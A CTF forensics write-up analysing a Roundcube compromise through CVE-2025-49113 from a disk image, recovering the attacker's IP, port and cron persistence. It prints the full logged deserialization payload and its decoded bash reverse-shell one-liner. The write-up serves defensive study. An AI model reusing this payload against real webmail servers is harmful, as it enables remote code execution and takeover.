Skip to main content
  1. CTF Writeups/
  2. H7CTF Finals/

Foothold

·
for 2000pts 18 solves roundcube cve-2025-49113 rce dfir
subzcuber
Author
subzcuber
i like to imagine i’m funny
Table of Contents

Author: kAiz3n

An internal webmail is compromised — the IR team obtained a set of artifacts from the suspected server. Your task: analyze the provided artifacts to reconstruct a foothold, identify the exploited vulnerability (use the CVE identifier), find the IP address related to the foothold, and determine where persistence is configured. The flag format is: H7CTF{CVE-xxxx-xxxx_IP:PORT_persistencePath} Example: H7CTF{CVE-XXXX-XXXX_IP:PORT_/etc/passwd}

Note: IP:PORT of the initial access

challenge file

points to note:

  • “webmail”: look for webmail software
  • “exploited vulnerability”: look for this webmail’s CVE’s
  • “persistence path”: how is the attacker persisting their attack

We are given foothold.001 which is a dump of an EXT4 filesystem

❯ file foothold.001
foothold.001: Linux rev 1.0 ext4 filesystem data, UUID=280be5d2-09c9-44a2-969a-7271c3f05de1 (extents) (64bit) (large files) (huge files)

which is why I will be using Sleuthkit to solve this challenge. You can check out how to set it up here

Initially I just did some strings analyses on the memdump to get an idea of what was happening. I started by looking for any urls

❯ cat foothold.001 | rg -aio "https://.{50}" > dump/urls

Then used fls to dump the file list

❯ fls -r -p foothold.001 > dump/file_scan

Webmail
#

Let’s start looking for potential installed mail clients

❯ cat dump/urls | sort -u | rg -ia "mail"
https://docs.kde.org/?application=kmail2https://appstream
https://docs.xfce.org/panel-plugins/xfce4-mailwatch-plugin
https://github.com/anthon38/gmailfeedhttps://www.kde.org/
https://github.com/ProtonMail/go-crypto/issues/21#issuecom
https://github.com/roundcube/roundcubemail/actions/workflo
https://github.com/roundcube/roundcubemail/commit/454b0b1c
https://github.com/roundcube/roundcubemail/wiki/Configurat
https://github.com/roundcube/roundcubemail/wiki/Installati

And you see a lot of mentions to this roundcubemail

Let’s confirm against the file list too

❯ cat dump/file_scan | sort -u | rg -ia "roundcube"
d/d 658915:	var/www/html/roundcube
d/d 661208:	var/www/html/roundcube/SQL
d/d 661210:	var/www/html/roundcube/SQL/mssql
d/d 661240:	var/www/html/roundcube/SQL/mysql
d/d 661275:	var/www/html/roundcube/SQL/oracle
d/d 661292:	var/www/html/roundcube/SQL/postgres

And it definitely seems like something installed related to mail

From WikiPedia:

Roundcube is a web-based IMAP email client.

So this is definitely our targeted Webmail

Exploit
#

A quick search for “roundcube cve” immediately points to cve-2025-49113 with a CVSS of 9.9

The Attack
#

First of all the severity of this attack is absolutely insane. The attack gives you RCE on any machine running the RoundCube client with almost no effort, and the fact that it went unnoticed for so long is wild

the exploit for sale on the dark web

The bug is essentially that when unserializing session data there’s a bug that doesn’t handle exclamations marks correctly!. So adding ! to your session data lets you mangle the data, and you can edit your session data by interacting with the rcube_session->append() method used by the endpoints:

  • program/actions/settings/upload/php: easiest to use due to lack of sanitisation
  • program/actions/mail/attachment_upload.php
  • program/actions/mail/compose.php
  • etc

Using the /upload.php endpoint and modifying the filename to exploit the unserializing bug lets you inject arbitrary data into the session because upload.php directly fetches the param _from

You can read this fantastic report to go into more detail!

Artifacts
#

So to look for attacks exploiting this vulnerability we just have to go through the logs to look for requests sent to program/actions/settings/upload.php

RoundCube stores these logs in the /var/log/apache2/access.log file which we can extract using Sleuthkit

❯ cat dump/file_scan | sort -u | rg -ia "var/log/apache2/"
r/r 1183868:	var/log/apache2/error.log
r/r 1183869:	var/log/apache2/access.log
r/r 1183875:	var/log/apache2/other_vhosts_access.log
❯ icat -f ext4 foothold.001 1183869 > dump/access.log

and here we go

192.168.75.137 - - [03/Nov/2025:13:23:05 +0000] "GET /roundcube/ HTTP/1.1" 200 5876 "-" "-"
192.168.75.137 - - [03/Nov/2025:13:23:07 +0000] "POST /roundcube/?_task=login HTTP/1.1" 302 733 "-" "-"
192.168.75.137 - - [03/Nov/2025:13:23:09 +0000] "POST /roundcube/?_from=edit-%21%C7%22%C7%3B%C7i%C7%3A%C70%C7%3B%C7O%C7%3A%C71%C76%C7%3A%C7%22%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%22%C7%3A%C71%C7%3A%C7%7B%C7S%C7%3A%C72%C76%C7%3A%C7%22%C7%5C%C70%C70%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%5C%C70%C70%C7_%C7g%C7p%C7g%C7c%C7o%C7n%C7f%C7%22%C7%3B%C7S%C7%3A%C71%C70%C74%C7%3A%C7%22%C7e%C7c%C7h%C7o%C7+%C7Y%C7m%C7F%C7z%C7a%C7C%C7A%C7t%C7Y%C7y%C7A%C7n%C7Z%C7X%C7h%C7l%C7Y%C7y%C7B%C7i%C7Y%C7X%C7N%C7o%C7I%C7C%C71%C7p%C7I%C7C%C7Y%C7%2B%C7L%C72%C7R%C7l%C7d%C7i%C79%C70%C7Y%C73%C7A%C7v%C7M%C7T%C7k%C7y%C7L%C7j%C7E%C72%C7O%C7C%C74%C73%C7N%C7S%C74%C7x%C7M%C7z%C7c%C7v%C7N%C7D%C7Q%C70%C7N%C7C%C7A%C78%C7J%C7j%C7E%C7n%C7C%C7g%C7%3D%C7%3D%C7+%C7%5C%C77%C7c%C7+%C7b%C7a%C7s%C7e%C76%C74%C7+%C7-%C7d%C7+%C7%5C%C77%C7c%C7+%C7s%C7h%C7%3B%C7%23%C7%22%C7%3B%C7%7D%C7i%C7%3A%C70%C7%3B%C7b%C7%3A%C70%C7%3B%C7%7D%C7%22%C7%3B%C7%7D%C7%7D%C7&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload HTTP/1.1" 200 812 "-" "-"

The last entry is a post request triggering the /upload action with the payload in the ?_from= url parameter

edit-%21%C7%22%C7%3B%C7i%C7%3A%C70%C7%3B%C7O%C7%3A%C71%C76%C7%3A%C7%22%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%22%C7%3A%C71%C7%3A%C7%7B%C7S%C7%3A%C72%C76%C7%3A%C7%22%C7%5C%C70%C70%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%5C%C70%C70%C7_%C7g%C7p%C7g%C7c%C7o%C7n%C7f%C7%22%C7%3B%C7S%C7%3A%C71%C70%C74%C7%3A%C7%22%C7e%C7c%C7h%C7o%C7+%C7Y%C7m%C7F%C7z%C7a%C7C%C7A%C7t%C7Y%C7y%C7A%C7n%C7Z%C7X%C7h%C7l%C7Y%C7y%C7B%C7i%C7Y%C7X%C7N%C7o%C7I%C7C%C71%C7p%C7I%C7C%C7Y%C7%2B%C7L%C72%C7R%C7l%C7d%C7i%C79%C70%C7Y%C73%C7A%C7v%C7M%C7T%C7k%C7y%C7L%C7j%C7E%C72%C7O%C7C%C74%C73%C7N%C7S%C74%C7x%C7M%C7z%C7c%C7v%C7N%C7D%C7Q%C70%C7N%C7C%C7A%C78%C7J%C7j%C7E%C7n%C7C%C7g%C7%3D%C7%3D%C7+%C7%5C%C77%C7c%C7+%C7b%C7a%C7s%C7e%C76%C74%C7+%C7-%C7d%C7+%C7%5C%C77%C7c%C7+%C7s%C7h%C7%3B%C7%23%C7%22%C7%3B%C7%7D%C7i%C7%3A%C70%C7%3B%C7b%C7%3A%C70%C7%3B%C7%7D%C7%22%C7%3B%C7%7D%C7%7D%C7

%C7 looks like some random bs given how it alternates everywhere, so i’m just going to get rid of all of those. might be a unicode thing idk i’m scared of unicode

edit-%21%22%3Bi%3A0%3BO%3A16%3A%22Crypt_GPG_Engine%22%3A1%3A%7BS%3A26%3A%22%5C00Crypt_GPG_Engine%5C00_gpgconf%22%3BS%3A104%3A%22echo+YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY%2BL2Rldi90Y3AvMTkyLjE2OC43NS4xMzcvNDQ0NCA8JjEnCg%3D%3D+%5C7c+base64+-d+%5C7c+sh%3B%23%22%3B%7Di%3A0%3Bb%3A0%3B%7D%22%3B%7D%7D

and that looks better. let’s url decode now

edit-!";i:0;O:16:"Crypt_GPG_Engine":1:{S:26:"\00Crypt_GPG_Engine\00_gpgconf";S:104:"echo+YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC43NS4xMzcvNDQ0NCA8JjEnCg==+\7c+base64+-d+\7c+sh;#";}i:0;b:0;}";}}

I see a base64 string being decoded, what could it be???

echo "YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC43NS4xMzcvNDQ0NCA8JjEnCg==" | base64 -d
bash -c 'exec bash -i &>/dev/tcp/192.168.75.137/4444 <&1'

and there’s our payload. It creates a reverse shell for the IP 192.168.75.137 at the port 4444

Persistence Path
#

The last path of our flag is determining the persistence path, and I kid you not this made me crash out so fucking hard 😭

I had the first two parts of the flag like almost imemdiately, and then the persistence path took me like 10 hours to figure out. i should have just slept 😞

persistence path refers to the method used to maintain control over a system. it is NOT the means of control itself, only what maintains it

Failed Attempts
#

My understanding of “persistence path” wasn’t clear at all initially. I failed to properly realise the consequences of a reverse shell and started looking for malicious files that would attack the victims computer, things like malware or something that would exfiltrate data etc

(this may have been because i was reading it as “persistent path”)

This led to a lot of redundant scouring of files and a massive wasting of time. But eventually going through the cronjobs led me to /var/spool/cron/crontabs/www-data and this is interesting because www-data is the user created by apache2 for their webserver related stuff

/var/spool/cron/crontabs/www-data
1
2
3
4
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Mon Nov  3 13:35:29 2025)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
*/5 * * * * /tmp/beacon001 >/dev/null 2>&1

I was so sure that /tmp/beacon001 was the persistence path for so long 😭. i’m really sorry organisers about how much i cried in the tickets

(/tmp/beacon001 might be actual malware from what i see, here’s the entry on VirusTotal)

The Solution
#

/var/spool/cron/crontabs/www-data is the actual persistence path because it is the method the attacker used to ensure the machine remains compromised. It’s named www-data because the exploit runs a reverse shell on the webserver, which means everything it runs is as the www-data user

This created a cronjob which runs periodically on the machine, some other forms of persistence may be

  • startup programs
  • services
  • browser extensions???
  • modified system files
  • windows registry apparently
  • and scheduled tasks like this one

so we have a gameplan for the next time the persistencePath is asked

H7CTF{CVE-2025-49113_192.168.75.137:4444_/var/spool/cron/crontabs/www-data}
Reply by Email

Related

Setting up for DFIR
for dfir
Setting up tools for digital forensics
Starting Out: MemLabs
for rev dfir pe32 binaryninja
WalkThroughs for stuxnet999/MemLabs
OffByOne
for 497pts 44 solves qr lsb qrazybox
never gonna give you up